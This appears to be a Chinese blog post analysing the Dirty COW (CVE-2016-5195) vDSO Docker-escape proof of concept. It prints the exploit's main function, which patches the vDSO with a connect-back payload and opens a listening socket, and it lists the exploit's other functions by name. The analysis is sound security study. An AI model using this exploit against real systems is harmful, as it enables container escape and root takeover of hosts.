脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析

本文详细介绍了脏牛漏洞(CVE-2016-5195)如何导致Docker逃逸,解析了利用代码的运行流程和关键函数,包括htonl/htons函数转换、parse_ip_port的IP与端口解析、get_vdso_addr获取vDSO地址、fingerprint_prologue指纹识别、patch_payload与build_vdso_patch的payload构建与注入、create_socket的监听设置以及exploit利用过程。最后,文章阐述了exploit后的恢复操作和yeah函数的连接处理。
摘要由CSDN通过智能技术生成

利用代码原出处
代码原帖

本人GitHub也保留有漏洞利用相关代码
CVE-2016-5195

作者 : 武汉大学Docker安全研究小组

一 . 代码运行流程


Main函数

int main(int argc, char *argv[])
{
    struct prologue *prologue;
    struct mem_arg arg;
    uint16_t port;
    uint32_t ip;
    int s;

    ip = htonl(PAYLOAD_IP);
    port = htons(PAYLOAD_PORT);

    if (argc > 1) {
        if (parse_ip_port(argv[1], &ip, &port) != 0)
            return EXIT_FAILURE;
    }

    fprintf(stderr, "[*] payload target: %s:%d\n",
        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));

    arg.vdso_addr = get_vdso_addr();
    if (arg.vdso_addr == NULL)
        return EXIT_FAILURE;

    prologue = fingerprint_prologue(arg.vdso_addr);
    if (prologue == NULL) {
        fprintf(stderr, "[-] this vDSO version isn't supported\n");
        fprintf(stderr, "    add first entry point instructions to prologues\n");
        return EXIT_FAILURE;
    }

    if (patch_payload(prologue, ip, port) == -1)
        return EXIT_FAILURE;

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)
        return EXIT_FAILURE;

    s = create_socket(port);
    if (s == -1)
        return EXIT_FAILURE;

    if (exploit(&arg, true) == -1) {
        fprintf(stderr, "exploit failed\n");
        return EXIT_FAILURE;
    }

    yeah(&arg, s);

    return EXIT_SUCCESS;
}
Created with Raphaël 2.1.0 开始 htonl()/htons() IP转换
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值